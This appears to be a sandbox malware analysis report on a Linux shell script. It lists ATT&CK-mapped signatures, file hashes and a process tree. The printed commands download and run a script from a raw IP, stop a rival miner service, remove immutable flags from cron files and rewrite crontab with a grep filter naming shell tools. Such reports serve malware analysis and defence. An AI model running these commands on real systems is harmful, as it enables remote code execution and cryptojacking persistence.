219d879522b3cfc498ab3e2597dcce3b96c41e7f4154fa0205922f1f283f71d3

Analysis

max time kernel
150s
max time network
134s
platform
debian-9_armhf
resource
debian9-armhf-20260127-en
resource tags

arch:armhfimage:debian9-armhf-20260127-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
16/04/2026, 04:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sh
Size 2KB
Sample260416-e444zaax5v
SHA256 219d879522b3cfc498ab3e2597dcce3b96c41e7f4154fa0205922f1f283f71d3
MD5 963648b9533afa95b569b58ba2fe78f7
SHA1 46abf19320399147f4381e9d61a53a81768054ef
SHA512 a5562a846934fd623a309d43ce7632daa4e8d9930338411c42d0ecb2c2232e797fb407e00643c5fb75324a5c5689345c131256f5e4c0b15cbd4a5d6b6d44a8f4
TLSH
T1BB4124FAB8628E30336DC5BD748A654CA7569AAF49172E74F043743C27BC32470742A5
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
816	chmod

Attempts to change immutable files 6 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
825	chattr
826	chattr
820	chattr
821	chattr
822	grep
824	chattr

Enumerates running processes
Discovers information about currently running processes on the system

Reads network interface configuration 2 TTPs 6 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/devices/virtual/net/lo/statistics	find
File opened for reading	/sys/devices/virtual/net/lo/power	find
File opened for reading	/sys/devices/virtual/net/lo/queues	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits	find
File opened for reading	/sys/devices/virtual/net/lo/queues/rx-0	find

Reads CPU attributes 1 TTPs 7 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/cpu0	find
File opened for reading	/sys/devices/system/cpu/cpu0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpu0/topology	find
File opened for reading	/sys/devices/system/cpu/power	find
File opened for reading	/sys/devices/system/cpu/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpufreq	find

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/debug/tracing/events/power/pm_qos_remove_request	find
File opened for reading	/sys/devices/platform/psci/power	find
File opened for reading	/sys/devices/platform/a000200.virtio_mmio/power	find
File opened for reading	/sys/devices/platform/9000000.pl011/power	find
File opened for reading	/sys/devices/virtual/vc/vcs1	find
File opened for reading	/sys/bus/platform/drivers/mx3_sdc_fb	find
File opened for reading	/sys/bus/platform/drivers/omap_i2c	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_getresgid16	find
File opened for reading	/sys/kernel/debug/tracing/events/kvm/kvm_mmio	find
File opened for reading	/sys/fs/cgroup/devices/system.slice/system-getty.slice	find
File opened for reading	/sys/kernel/debug/tracing/events/net/netif_rx_ni_entry	find
File opened for reading	/sys/kernel/debug/tracing/events/timer/tick_stop	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_getsockopt	find
File opened for reading	/sys/devices/virtual/mem/kmsg	find
File opened for reading	/sys/module/mbcache	find
File opened for reading	/sys/kernel/debug/tracing/events/vmscan/mm_vmscan_writepage	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_recvmmsg	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_fsync	find
File opened for reading	/sys/devices/virtual/tty/tty22/power	find
File opened for reading	/sys/fs/cgroup/systemd/system.slice/system-serial\x2dgetty.slice/[email protected]	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_ext_convert_to_initialized_fastpath	find
File opened for reading	/sys/devices/virtual/tty/tty47/power	find
File opened for reading	/sys/devices/virtual/vc/vcs2	find
File opened for reading	/sys/devices/platform/a003c00.virtio_mmio/virtio0/block/vda/vda1/trace	find
File opened for reading	/sys/bus/amba/drivers/uart-pl011	find
File opened for reading	/sys/kernel/debug/tracing/events/clk	find
File opened for reading	/sys/bus/platform/drivers/sram	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_load_inode	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_accept	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_symlinkat	find
File opened for reading	/sys/devices/tracepoint	find
File opened for reading	/sys/module/stahp/sections	find
File opened for reading	/sys/kernel/debug/tracing/events/timer/hrtimer_expire_entry	find
File opened for reading	/sys/bus/spi/drivers/spidev	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_setuid16	find
File opened for reading	/sys/module/stahp/holders	find
File opened for reading	/sys/kernel/debug/tracing/events/mmc/mmc_request_done	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_getpeername	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_clone	find
File opened for reading	/sys/devices/platform/a002a00.virtio_mmio/power	find
File opened for reading	/sys/devices/virtual/tty/tty41/power	find
File opened for reading	/sys/module/tpm	find
File opened for reading	/sys/kernel/debug/tracing/events/gpio	find
File opened for reading	/sys/kernel/debug/tracing/events/timer/timer_init	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_eventfd2	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_pivot_root	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_getppid	find
File opened for reading	/sys/fs/cgroup/systemd/system.slice/system-serial\x2dgetty.slice/[email protected]	find
File opened for reading	/sys/bus/xen/devices	find
File opened for reading	/sys/kernel/debug/tracing/events/block/block_bio_remap	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_mknodat	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_linkat	find
File opened for reading	/sys/firmware/devicetree/base/cpus/cpu-map/socket0/cluster0/core0	find
File opened for reading	/sys/fs/cgroup/perf_event	find
File opened for reading	/sys/fs/cgroup/pids/init.scope	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_ioprio_set	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_lsetxattr	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_lgetxattr	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_chdir	find
File opened for reading	/sys/devices/platform/a000600.virtio_mmio	find
File opened for reading	/sys/fs/cgroup/devices/system.slice/dev-vda5.swap	find
File opened for reading	/sys/kernel/irq/52	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_free_blocks	find
File opened for reading	/sys/kernel/debug/tracing/events/power/pm_qos_update_request	find

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/16/task	find
File opened for reading	/proc/22	find
File opened for reading	/proc/28/task/28/net/stat	find
File opened for reading	/proc/28/net/dev_snmp6	find
File opened for reading	/proc/108/net/dev_snmp6	find
File opened for reading	/proc/117/task/117/net	find
File opened for reading	/proc/316/net	find
File opened for reading	/proc/600/attr	find
File opened for reading	/proc/bus/pci	find
File opened for reading	/proc/5/task/5/net/stat	find
File opened for reading	/proc/6/task/6/fd	find
File opened for reading	/proc/6/task/6/fdinfo	find
File opened for reading	/proc/13/task/13/fd	find
File opened for reading	/proc/149/fdinfo	find
File opened for reading	/proc/289/map_files	find
File opened for reading	/proc/305/task/305/net/netfilter	find
File opened for reading	/proc/9/task/9	find
File opened for reading	/proc/9/fd	find
File opened for reading	/proc/19/net	find
File opened for reading	/proc/181/task/181/net/stat	find
File opened for reading	/proc/333/net/netfilter	find
File opened for reading	/proc/577	find
File opened for reading	/proc/577/ns	find
File opened for reading	/proc/577/net/stat	find
File opened for reading	/proc/3/net	find
File opened for reading	/proc/22/task/22/fdinfo	find
File opened for reading	/proc/291/task/291/fd	find
File opened for reading	/proc/644/task/644/ns	find
File opened for reading	/proc/650/net/dev_snmp6	find
File opened for reading	/proc/651/task/651/net/netfilter	find
File opened for reading	/proc/653	find
File opened for reading	/proc/656/task/656/net	find
File opened for reading	/proc/5/fd	find
File opened for reading	/proc/24/task/24/fd	find
File opened for reading	/proc/234/net/netfilter	find
File opened for reading	/proc/645/task/645	find
File opened for reading	/proc/653/task/653/net/netfilter	find
File opened for reading	/proc/2/task/2	find
File opened for reading	/proc/15/task/15/net	find
File opened for reading	/proc/41/fd	find
File opened for reading	/proc/119/task/119/fd	find
File opened for reading	/proc/234/task/234/net/stat	find
File opened for reading	/proc/645/net/dev_snmp6	find
File opened for reading	/proc/25/task/25	find
File opened for reading	/proc/29/map_files	find
File opened for reading	/proc/147/ns	find
File opened for reading	/proc/178/task/178/net/netfilter	find
File opened for reading	/proc/343/map_files	find
File opened for reading	/proc/638/task/638/net/netfilter	find
File opened for reading	/proc/291/task/291/net/stat	find
File opened for reading	/proc/316/map_files	find
File opened for reading	/proc/601/task/601/net	find
File opened for reading	/proc/8/task/8/fdinfo	find
File opened for reading	/proc/15/fdinfo	find
File opened for reading	/proc/14/task/14/net/stat	find
File opened for reading	/proc/16/attr	find
File opened for reading	/proc/23	find
File opened for reading	/proc/24	find
File opened for reading	/proc/181/task/181/net/netfilter	find
File opened for reading	/proc/234/net/stat	find
File opened for reading	/proc/645/fdinfo	find
File opened for reading	/proc/674/task/674/attr	find
File opened for reading	/proc/16/task/16/net/stat	find
File opened for reading	/proc/23/task/23/net/netfilter	find

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/clean_crontab	sh

/tmp/sh
/tmp/sh
1⤵
PID:653
- /bin/grep
  grep noexec
  2⤵
  PID:661
- /bin/cat
  cat /proc/mounts
  2⤵
  PID:660
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:662
- /usr/bin/whoami
  whoami
  2⤵
  PID:678
- /usr/bin/find
  find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*"
  2⤵
  - Reads network interface configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:680
- /bin/uname
  uname -mp
  2⤵
  PID:769
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:774
- /usr/bin/od
  od -An -N2 -i /dev/urandom
  2⤵
  PID:773
- /usr/bin/expr
  expr 62549 "%" 32 + 4
  2⤵
  PID:775
- /usr/bin/tr
  tr -dc A-Za-z0-9
  2⤵
  PID:778
- /usr/bin/head
  head -c 25
  2⤵
  PID:779
- /usr/bin/openssl
  openssl rand -base64 256
  2⤵
  PID:777
- /usr/bin/touch
  touch .testfile
  2⤵
  PID:780
- /bin/dd
  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
  2⤵
  PID:782
- /bin/rm
  rm -rf .testfile .testfile2
  2⤵
  PID:783
- /bin/rm
  rm -rf clean
  2⤵
  PID:784
- /usr/bin/wget
  wget --no-check-certificate -q https://46.151.182.82/clean
  2⤵
  PID:785
- /bin/chmod
  chmod +x clean
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /bin/sh
  sh clean
  2⤵
  - Writes file to tmp directory
  PID:817
- - /bin/systemctl
    systemctl disable c3pool_miner
    3⤵
    PID:818
- - /bin/systemctl
    systemctl stop c3pool_miner
    3⤵
    PID:819
- - /usr/bin/chattr
    chattr -ia /var/spool/cron/crontabs
    3⤵
    - Attempts to change immutable files
    PID:820
- - /usr/bin/chattr
    chattr -ia /etc/crontab
    3⤵
    - Attempts to change immutable files
    PID:821
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab
    3⤵
    - Attempts to change immutable files
    PID:822
- - /bin/mv
    mv /tmp/clean_crontab /etc/crontab
    3⤵
    PID:823
- - /usr/bin/chattr
    chattr -ia /etc/cron.hourly
    3⤵
    - Attempts to change immutable files
    PID:824
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily
    3⤵
    - Attempts to change immutable files
    PID:825
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily/apt-compat
    3⤵
    - Attempts to change immutable files
    PID:826

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.testfile2

Path /.testfile2
Size 2.0MB
SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
MD5 b2d1236c286a3c0704224fe4105eca49
SHA1 7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA512 731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

Submit Download

clean

Path /clean
Size 795B
SHA256 d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5 397ff5e54194072e6d8a44a0d8cc1b27
SHA1 42477b0c3b277b5e907b0a35c644f3291ed30a63
SHA512 ff40c129e3b2891ae280bce97e52ee69aea18ca60ea7901f7efd4cf11d3bf1c4ee48e9eb90e5f045e080ab784ee2a9942c2bcf0a531b7f4602931f63c4b32d74
TLSH
T1DD01288E6722D51420DDD524FAF14F7DAE31F2856D226816248B31FCE5ECA9433E8C36
MD5 SHA1 SHA512 TLSH

Submit Download

clean_crontab

Path /tmp/clean_crontab
Size 722B
SHA256 0e5c204385b21e15b031c83f37212bf5a4ee77b51762b7b54bd6ad973ebdf354
MD5 8f111d100ea459f68d333d63a8ef2205
SHA1 077ca9c46a964de67c0f7765745d5c6f9e2065c3
SHA512 d81767b47fb84aaf435f930356ded574ee9825ec710a2e7c26074860d8a385741d65572740137b6f9686c285a32e2951ca933393b266746988f1737aad059adb
TLSH
T14B019C6A9366B3BF464CDDE166D7BDAC226230641C007D0B94BD2580B24FB625050C6E
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads